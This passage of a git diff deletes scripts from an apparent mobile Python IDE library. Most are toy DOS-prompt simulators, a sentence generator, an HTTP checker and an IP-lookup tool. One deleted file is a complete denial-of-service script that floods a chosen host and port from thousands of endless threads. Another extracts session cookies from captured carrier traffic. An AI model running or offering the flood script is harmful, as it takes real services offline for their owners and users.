except: - file[cmd[4:]]=input(">>text") - elif cmd.startswith("new"): - name=cmd[4:] - text=input(">>text") - file[name]=text - else: - if cmd=="\n": - continue - else: - - print(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") diff --git a/script_library/scripts/basic/cmd1_0_mnleeeta.py b/script_library/scripts/basic/cmd1_0_mnleeeta.py deleted file mode 100644 index e09e1f7..0000000 --- a/script_library/scripts/basic/cmd1_0_mnleeeta.py +++ /dev/null @@ -1,96 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "" # 红 -G = "" # 绿 -Y = "" # 黄 -B = "" # 蓝 -C = "" # 青 -M = "" # 紫 -X = "" -new_l = "\n" -import json -cmd = "" -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用" -} -print("DOS改版") -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == new_l: - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - - exit() - elif cmd=="dir": - print("file:") - - for i in list(file): - print(" "+i) - print("file number:"+str(len(file))) - elif cmd == "oaoa": - print("91*10086=917826") - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1145): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del"): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - - - - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input(">>text") - except: - file[cmd[4:]]=input(">>text") - elif cmd.startswith("new"): - name=cmd[4:] - text=input(">>text") - file[name]=text - elif cmd.startswith("format"): - file={} - exit() - # read 命令 - elif cmd.startswith('load'): - with open("dosfile.txt", "r", encoding="utf-8") as f: - file = json.load(f) - elif cmd.startswith("save"): - with open("dosfile.txt", "w", encoding="utf-8") as f: - json.dump(file, f, ensure_ascii=False, indent=2) - else: - print(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") diff --git a/script_library/scripts/basic/cmd2_0_mnll1610.py b/script_library/scripts/basic/cmd2_0_mnll1610.py deleted file mode 100644 index bbf1df2..0000000 --- a/script_library/scripts/basic/cmd2_0_mnll1610.py +++ /dev/null @@ -1,98 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "" # 红 -G = "" # 绿 -Y = "" # 黄 -B = "" # 蓝 -C = "" # 青 -M = "" # 紫 -X = "" -new_l = "\n" -import json -cmd = "" -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用" -} -print("DOS改版") -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == new_l: - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - - exit() - elif cmd=="dir": - print("file:") - - for i in list(file): - B=float('%.2f'%(len(str(file[i]))/1024)) - leng=32-len(str(i)) - print(f"- {i}"+f'%{leng}s'%(f'{B}KB')) - print("file number:"+str(len(file))) - elif cmd == "oaoa": - print("91*10086=917826") - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del"): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - - - - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input(">>text") - except: - file[cmd[4:]]=input(">>text") - elif cmd.startswith("new"): - name=cmd[4:] - text=input(">>text") - file[name]=text - elif cmd.startswith("format"): - file={} - exit() - # read 命令 - elif cmd.startswith('load'): - with open("dosfile.txt", "r", encoding="utf-8") as f: - file = json.load(f) - elif cmd.startswith("save"): - with open("dosfile.txt", "w", encoding="utf-8") as f: - json.dump(file, f, ensure_ascii=False, indent=2) - else: - print(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") diff --git a/script_library/scripts/basic/cmd2_0_mnoj7n30.py b/script_library/scripts/basic/cmd2_0_mnoj7n30.py deleted file mode 100644 index 1e12d58..0000000 --- a/script_library/scripts/basic/cmd2_0_mnoj7n30.py +++ /dev/null @@ -1,29 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -import json -from pathlib import Path -import time -import random -Y = "\033[93m" -print("==========by ioo project==========") -time.sleep(1) -print("= 这是一个测试文件 =") -time.sleep(1) -print("=使用我的作品 模拟cmd可能会出现一些问题=") -time.sleep(1) -print("= 建议使用此工具进行测试 =") -for i in range(51): - percent = i *2 - print(f"\r|{ '█' * i }{ ' ' * (50 - i) }|{ percent }%", end="") - time.sleep(random.uniform(0.1, 0.3)) -path=Path("dosfile.txt") -if path.exists(): - file=json.loads(path.read_text()) - print(file) - print("= 测试成功4.1 =") -else: - file={"command.com":"bin","io.sys":"sys"} - print("\n= 错误,已修复 =") - path.write_text(json.dumps(file)) -k="#愚人节做的嘿嘿" -if input(">") == "Y": - print(k) \ No newline at end of file diff --git a/script_library/scripts/basic/cmd2_6_mo2zh2uh.py b/script_library/scripts/basic/cmd2_6_mo2zh2uh.py deleted file mode 100644 index 11fef7c..0000000 --- a/script_library/scripts/basic/cmd2_6_mo2zh2uh.py +++ /dev/null @@ -1,144 +0,0 @@ -# 欢迎使用 PythonIDE!如果觉得好用,请给个好评哦~ -# cmd简练版 -R = "" # 红 -G = "" # 绿 -Y = "" # 黄 -B = "" # 蓝 -C = "" # 青 -M = "" # 紫 -X = "" - -copy="" -import os -import dialogs -import time -def load(): - t="█" - for i in range(51): - if i*2<30: - types=R - elif i*2>30 and i*2<60: - types=Y - elif i*2>60: - types=G - print(f"\r|{types}{i * t}{X}|{(49 - i) * '-'}{i*2}%", end="\033[A") - time.sleep(0.01) -new_l = "\n" -import json -cmd = "" -show = ">" -file={"command.com":"bin,can't see", - "io.sys":"bin,can't see", - "msdos.sys":"bin,can't see", - "ms.txt":"hello user!", - "sys.txt":"看到这个的人我祝福他幸福快乐每一天", - "thank.xz":"敢看嘛,其实是感谢使用" -} -print("DOS改版") -print("输入help以了解命令") -while True: - - cmd = input(show).strip() #del " " - if not cmd == new_l: - # help - if cmd.startswith("help"): - print("echo 打印文字,如echo hello") - print("echo on 开启提示符,echo off 关闭提示符") - print("dir显示文件") - print("type显示文件内容") - print("del可以删除文件,无需路径") - print("我自定义了文件的写入方式") - print("add file-text") - print("new file name") - print("exit 退出程序") - print("alert text") - print("(del如果显示文件名就是删除成功)") - #echo - elif cmd.startswith("echo"): - input_str = cmd[4:].lstrip() - if input_str.startswith("on"): - show = ">" - elif input_str.startswith("off"): - show = "" - else: - print(input_str) - # exit - elif cmd == "exit": - exit() - elif cmd=="dir": - print("file:") - - for i in list(file): - B=float('%.2f'%(len(str(file[i]))/1024)) - leng=32-len(str(i)) - print(f"- {i}"+f'%{leng}s'%(f'{B}KB')) - print("file number:"+str(len(file))) - elif cmd == "oaoa": - print("91*10086=917826") - # 在命令判断里加一段 - elif cmd.startswith("cls"): - for I in range(1): - print("\a") - elif cmd.startswith("type"): - print(file.get(cmd[5:],"无法找到此文件")) - elif cmd.startswith("del "): - if not cmd.endswith(".sys"): - if file.pop(cmd[4:],False): - kakimi="jsjsjjzzkafjzlyrzkxyf" - #上面这个string是猫踩的 - #处理误删文件 - bool=True - else: - bool=False - print("try del file:"+cmd[4:] if bool else "cannot find or del this file") - elif cmd.startswith("add"): - try: - file[cmd[4:]]+=input("text>") - except: - file[cmd[4:]]=input("text>") - elif cmd.startswith("new"): - name=cmd[4:] - text=input("text>") - file[name]=text - elif cmd.startswith("format"): - file={} - exit() - # read 命令 - elif cmd.startswith('load'): - print("loading...") - load() - print("\n") - with open("dosfile.json", "r", encoding="utf-8") as f: - file = json.load(f) - elif cmd.startswith("save"): - print("saving...") - load() - print("\n") - with open("dosfile.json", "w", encoding="utf-8") as f: - json.dump(file, f, ensure_ascii=False, indent=2) - elif cmd.startswith("ui"): - if dialogs.list_dialog("选择一个操作",["continue"])=="continue": - continue - else: - continue - elif cmd.startswith("delt"): - inp=input("此操作可能会影响到你的文件,是否继续(n/y)") - if inp=="y": - try: - os.remove(cmd[5:]) - print("成功") - except: - print("失败") - continue - elif cmd.startswith("alert"): - dialogs.alert(cmd[6:]) - elif cmd.startswith("input"): - copy=dialogs.input_alert(cmd[6:]) - elif cmd=="copy": - print(copy) - elif cmd=="others": - - print("呜呜呜要期中了下载一下吧") - else: - dialogs.alert(f"'{cmd}' 不是内部或外部命令,也不是可运行的程序") - \ No newline at end of file diff --git a/script_library/scripts/basic/cookie_2_0_mn37fkak.py b/script_library/scripts/basic/cookie_2_0_mn37fkak.py deleted file mode 100644 index 3d37434..0000000 --- a/script_library/scripts/basic/cookie_2_0_mn37fkak.py +++ /dev/null @@ -1,91 +0,0 @@ -# 2026-3-23 by.Silence 推荐使用stream进行抓包Cookie,抓包关键词query,复制curl即可,运行脚本自动解析Cookie。疯狂亏内x_x -import re -import os -import sys - -try: - import clipboard - has_clip = True -except: - has_clip = False - -def validate_cookie(cookie_str): - if not cookie_str or len(cookie_str) < 20: - return False - - keywords = ["PvSessionId", "c_id", "ecs_token"] - match_count = sum(1 for k in keywords if k in cookie_str) - return match_count >= 1 - -def run_parser(): - raw_content = "" - - - if has_clip: - try: - temp_data = clipboard.get() - if temp_data and len(temp_data.strip()) > 50: - raw_content = temp_data - except: - pass - - if not raw_content: - print("系统剪贴板空值或数据长度异常") - print("请手动粘贴抓包原始数据并回车:") - raw_content = sys.stdin.read() if not sys.stdin.isatty() else input() - - if not raw_content or len(raw_content.strip()) < 10: - print("终端输入数据校验未通过: 字符过短") - return - - - - url_m = re.search(r"(?i)(https?://[^\s'\"]+)", raw_content) - cookie_m = re.search(r"(?i)Cookie:\s*([^\r\n'\"]+)", raw_content) - ua_m = re.search(r"(?i)User-Agent:\s*([^\r\n'\"]+)", raw_content) - host_m = re.search(r"(?i)Host:\s*([^\r\n'\"]+)", raw_content) - - url = url_m.group(1) if url_m else "N/A" - cookie = cookie_m.group(1) if cookie_m else "" - ua = ua_m.group(1) if ua_m else "N/A" - host = host_m.group(1).strip() if host_m else "m.client.10010.com" - - - if not validate_cookie(cookie): - print("\n[错误] 数据合法性校验失败") - print("原因: 解析出的 Cookie 字段缺失或不符合联通接口特征") - print("请检查抓包目标是否为 queryUserInfoSeven 接口") - return - - - result_map = { - "URL": url, - "HOST": host, - "USER-AGENT": ua, - "COOKIE": cookie - } - - report = [ - "RAW DATA PARSE REPORT", - "=" * 40, - f"▷URL : {result_map['URL']}", - f"▷HOST: {result_map['HOST']}", - f"▷USER_AGENT : {result_map['USER-AGENT']}", - "-" * 40, - f"▷COOKIE:\n{result_map['COOKIE']}", - "=" * 40, - "获取成功: 接下来你需要自己手动复制粘贴这些数据到联通小组件里面,即可使用" - ] - - final_report = "\n".join(report) - - try: - with open("Cookie解析结果.txt", "w", encoding="utf-8") as f: - f.write(final_report) - print(final_report) - print(f"\n解析结束,结果已同步至 PythonIDE 文档里面: Cookie解析结果.txt") - except Exception as e: - print(f"磁盘写入异常: {str(e)}") - -if __name__ == "__main__": - run_parser() diff --git a/script_library/scripts/basic/ddos_mnydfe4y.py b/script_library/scripts/basic/ddos_mnydfe4y.py deleted file mode 100644 index 8ddf427..0000000 --- a/script_library/scripts/basic/ddos_mnydfe4y.py +++ /dev/null @@ -1,99 +0,0 @@ -import socket -import os -import random -import pyfiglet -import threading -import time -from termcolor import colored - -target_ip = input("45.205.29.247: ") -target_port = int(input("884: ")) - -# 显示攻击开始的信息 -print(f"攻击开始,目标IP: {target_ip},端口: {target_port}") -time.sleep(1) - -# 模拟攻击过程 -print("攻击进行中...") -# 这里可以添加实际的攻击逻辑,例如发送数据包、扫描端口等 - -user_agents = [ - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", - "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.3", - "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.3", - "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15", - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 11; OPPO Reno 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 11; OPPO Reno 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 11; RMX3081) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (Linux; Android 8.1.0; Vertu Signature Cobra) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.1.0; Goldvish Le Million) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.1.0; Gresso Luxor Las Vegas Jackpot) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36", - "Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4", - "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", - "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)", - "Mozilla/5.0 (Linux; Android 10; Huawei Mate X2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36", - "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (Mobile; LYF/F120B/LYF-F120B-000-01-25-070918; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.5", - "Mozilla/5.0 (Mobile; Nokia 8110 4G; rv:48.0) Gecko/48.0 Firefox/48.0 KAIOS/2.5", - "Mozilla/5.0 (WebOS; LG Smart TV; Linux/SmartTV) AppleWebKit/538.2 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/538.2 WebAppManager", - "Mozilla/5.0 (Linux; U; Android 9; BRAVIA 4K GB ATV3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Safari/537.36", - "Mozilla/5.0 (Linux; U; Android 9; BRAVIA 4K GB ATV3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Safari/537.36", - "Mozilla/5.0 (SMART-TV; Linux; Tizen 5.0) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 TV Safari/537.36", - "Mozilla/5.0 (AppleTV; U; CPU OS 13_4 like Mac OS X; en-us) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0 Safari/605.1.15", - "Mozilla/5.0 (Linux; Android 11; SM-G991U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; moto g play (2021)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; Nokia 1.4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; SM-A022F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; RMX2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; Redmi 9A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; SM-M022G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; BLU G91) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; 5002D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.117 Mobile Safari/537.36", - "Mozilla/5.0 (Linux; Android 7.1.1; Connected Modular 45) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 7.1.1; Tambour Horizon) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.0; Hublot Big Bang E) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 8.0; Summit 2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Apple Watch; CPU WatchOS 8_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/8.0 Mobile/15A372 Safari/604.1", - "Mozilla/5.0 (Linux; Android 8.0; Exospace B55) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.158 Safari/537.36", - "Mozilla/5.0 (Linux; Android 10; Connected Calibre E4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.93 Mobile Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", - "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Tesla/feature-2022.20.9-31-abc", - "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0 Kali Linux", - "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0", - "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Arch Linux", - "Mozilla/5.0 (X11; Debian; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0", - "Mozilla/5.0 (X11; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0 Red Hat", - "Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0 Parrot OS" -] - -def launch_attack(target_ip, target_port): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.connect((target_ip, target_port)) - user_agent = random.choice(user_agents) - s.send(f"GET / HTTP/1.1\r\nUser-Agent: {user_agent}\r\n\r\n".encode()) - print(f"Connection established with {target_ip}:{target_port} and User-Agent: {user_agent}") - except socket.error: - print(f"Connection error with {target_ip}:{target_port}") - -def dos_attack(): - while True: - threading.Thread(target=launch_attack, args=(target_ip, target_port)).start() - -if __name__ == "__main__": - for _ in range(10000): - threading.Thread(target=dos_attack).start() diff --git a/script_library/scripts/basic/flight_mn1ryk35.py b/script_library/scripts/basic/flight_mn1ryk35.py deleted file mode 100644 index f345966..0000000 --- a/script_library/scripts/basic/flight_mn1ryk35.py +++ /dev/null @@ -1,69 +0,0 @@ -import random -import time -words = { - "prep": ['在', '于', '从', '自', '往', '向', '朝', '沿', '顺', '对', '为', '给', '替', '跟', '和', '同', '以', '用', '凭', '靠', '因', '除', '比'], - "noun":[ - "猫", "狗", "鱼", "鸟", "兔子", "仓鼠", - "手机", "电脑", "键盘", "鼠标", "耳机", "充电器", - "咖啡", "奶茶", "可乐", "面包", "泡面", "火锅", - "床", "沙发", "桌子", "椅子", "灯", "窗帘", - "书", "笔", "本子", "试卷", "书包", "文件夹", - "太阳", "月亮", "星星", "云", "雨", "风", - "山", "河", "海", "树", "花", "草", - "朋友", "老师", "同学", "老板", "同事", "家人", - "游戏", "电影", "音乐", "小说", "漫画", "动画", - "代码", "bug", "服务器", "数据库", "接口", "前端" -], - "verb": ['走', '跑', '跳', '飞', '爬', '游', '看', '听', '说', '读', '写', '吃', '喝', '穿', '戴', '拿', '放', '打', '骂', '推', '拉', '提', '扛', '想', '爱', '恨', '怕', '愁', '盼', '愿', '喜', '怒', '哀', '乐', '在', '有', '存', '留', '住', '停', '坐', '站', '躺', '卧', '变', '改', '换', '成', '长', '生', '死', '灭', '兴', '衰'], - "pron": ['我', '我们', '咱们', '你', '您', '你们', '他', '她', '它', '他们', '她们', '它们', '大家', '大伙儿', '别人', '人家'], - "adv": ['都', '就', '才', '只', '也', '再', '又', '还', '正', '刚', '先', '老', '总', '常', '已', '早', '晚', '快', '慢', '好', '真', '最', '更', '越', '极', '偏', '竟'], - "adj": [ - "大", "小", "多", "少", "好", "坏", - "高", "低", "快", "慢", "新", "旧", - "红", "绿", "黑", "白", "美", "丑", - "长", "短", "冷", "热", "轻", "重"], - "other":["是","很","太"], - "ve":["的"], - "sound":["吧","啊","啊"], - "func":[",","。","?","!"], - -} -collocation = { - "prep": ["pron", "noun", "verb","ve"], - "verb": ["noun", "prep", - "adv","noun","noun","noun","pron","other","ve"], - "adj": ["ve","sound"], - "adv": ["verb"], - "noun": ['prep',"other","ve"], - "pron": ["verb","other"], - "other":["adj"], - "ve":["noun","sound"] -} -word=["prep","verb","adj","adv","noun","pron","other","ve","sound"] -now="pron" -text="" -def wordrand(): - global now - global text - now_word=words.get(now) - rand_word=random.randint(1,len(now_word))-1 - text+=now_word[rand_word] - now_list=collocation.get(now) - if not now_list:return "" - #print(now_list)#这行没*用 - rand_type=random.randint(1,len(now_list))-1 - now=now_list[rand_type] - #¯\_(ツ)_/¯oiia -for t in range(random.randint(5,5)): - now="pron" - text="" - for i in range(random.randint(5,8)): - #print(now) - if now != "sound": - wordrand() - else: - wordrand() - now="pron" - break - text+=words["func"][random.randint(0,3)] - print(text) \ No newline at end of file diff --git a/script_library/scripts/basic/get_mnsxghs0.py b/script_library/scripts/basic/get_mnsxghs0.py deleted file mode 100644 index c7448e8..0000000 --- a/script_library/scripts/basic/get_mnsxghs0.py +++ /dev/null @@ -1,40 +0,0 @@ -import urllib3 -urllib3.disable_warnings() -def menu(): - print('-'*20) - print('网页侦测程序(GET请求)') - print('http状态码含义:') - print('1xx:信息,请求收到,继续处理。') - print('2xx:成功,请求已成功被服务器接收、理解、并接受') - print('3xx:重定向,需要后续操作才能完成这一请求') - print('4xx:客户端错误,请求含有语法错误或者无法被执行') - print('5xx:服务器错误,服务器在处理某个正确请求时发生错误') - print('-'*20) - -def url(): - name_url = input('请输入网名:') - web_url = input('请输入网址:') - - if not web_url.startswith(('http://', 'https://')): - web_url = 'http://' + web_url - - try: - http = urllib3.PoolManager() - r = http.request('GET', web_url, timeout=5.0) - print(name_url, '请求状态码:', r.status) - except Exception as e: - print(f'请求失败: {e}') - -def main(): - menu() - while True: - url() - # 添加退出选项 - choice = input('是否继续检查?(y/n): ').lower() - if choice != 'y': - print('程序结束') - break - -if __name__ == "__main__": - main() - diff --git a/script_library/scripts/basic/ip_mndf9xci.py b/script_library/scripts/basic/ip_mndf9xci.py deleted file mode 100644 index 16f8c13..0000000 --- a/script_library/scripts/basic/ip_mndf9xci.py +++ /dev/null @@ -1,149 +0,0 @@ -import requests -import json - -def query_ip_info(ip_address): - """ - 高精度IP查询工具箱 - 查询指定IP地址的详细信息 - - 参数: - ip_address (str): 要查询的IP地址 - - 返回: - dict: 包含IP详细信息的字典 - """ - url = "https://api.ip77.net/ip2/v4/" - - payload = {'ip': ip_address} - - headers = { - 'User-Agent': "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604.1", - 'Accept': "application/json, text/javascript, */*; q=0.01", - 'sec-fetch-site': "cross-site", - 'accept-language': "zh-CN,zh-Hans;q=0.9", - 'sec-fetch-mode': "cors", - 'origin': "https://uutool.cn", - 'referer': "https://uutool.cn/", - 'sec-fetch-dest': "empty" - } - - try: - response = requests.post(url, data=payload, headers=headers, timeout=10) - response.raise_for_status() - - data = response.json() - - if data.get('code') == 0: - ip_data = data['data'] - result = { - '归属地': f"{ip_data.get('country', '')}{ip_data.get('province', '')}{ip_data.get('city', '')}{ip_data.get('district', '')}{ip_data.get('street', '')}", - '运营商': ip_data.get('isp', ''), - '基本信息': { - 'IP地址': ip_data.get('ip', ''), - '数字地址': ip_data.get('ip_int', ''), - '洲': ip_data.get('continent', ''), - '国家': ip_data.get('country', ''), - '省份': ip_data.get('province', ''), - '城市': ip_data.get('city', ''), - '区县': ip_data.get('district', ''), - '街道': ip_data.get('street', ''), - '区划编码': ip_data.get('area_code', ''), - '邮政编码': ip_data.get('zip_code', ''), - '经度': ip_data.get('longitude', ''), - '纬度': ip_data.get('latitude', ''), - '时区': ip_data.get('time_zone', '') - }, - '街道定位历史': [f"历史{i+1} {address}" for i, address in enumerate(ip_data.get('street_history', []))], - 'IP风险信息': { - 'IP地址': ip_data.get('ip', ''), - '风险分数': ip_data.get('risk', {}).get('risk_score', ''), - '风险等级': ip_data.get('risk', {}).get('risk_level', ''), - '是否为代理': ip_data.get('risk', {}).get('is_proxy', ''), - '代理类型': ip_data.get('risk', {}).get('proxy_type', ''), - '风险标签': ip_data.get('risk', {}).get('risk_tag', '') - } - } - return result - else: - return {'error': f'API返回错误: {data.get("message", "未知错误")}'} - - except requests.exceptions.RequestException as e: - return {'error': f'网络请求失败: {str(e)}'} - except json.JSONDecodeError as e: - return {'error': f'JSON解析失败: {str(e)}'} - except Exception as e: - return {'error': f'未知错误: {str(e)}'} - -def format_ip_info(ip_info): - """ - 格式化IP查询结果 - - 参数: - ip_info (dict): IP查询结果字典 - - 返回: - str: 格式化的查询结果 - """ - if 'error' in ip_info: - return f"查询失败: {ip_info['error']}" - - output = [] - output.append("=" * 50) - output.append("高精度IP查询结果") - output.append("=" * 50) - - # 基础信息 - output.append(f"归属地: 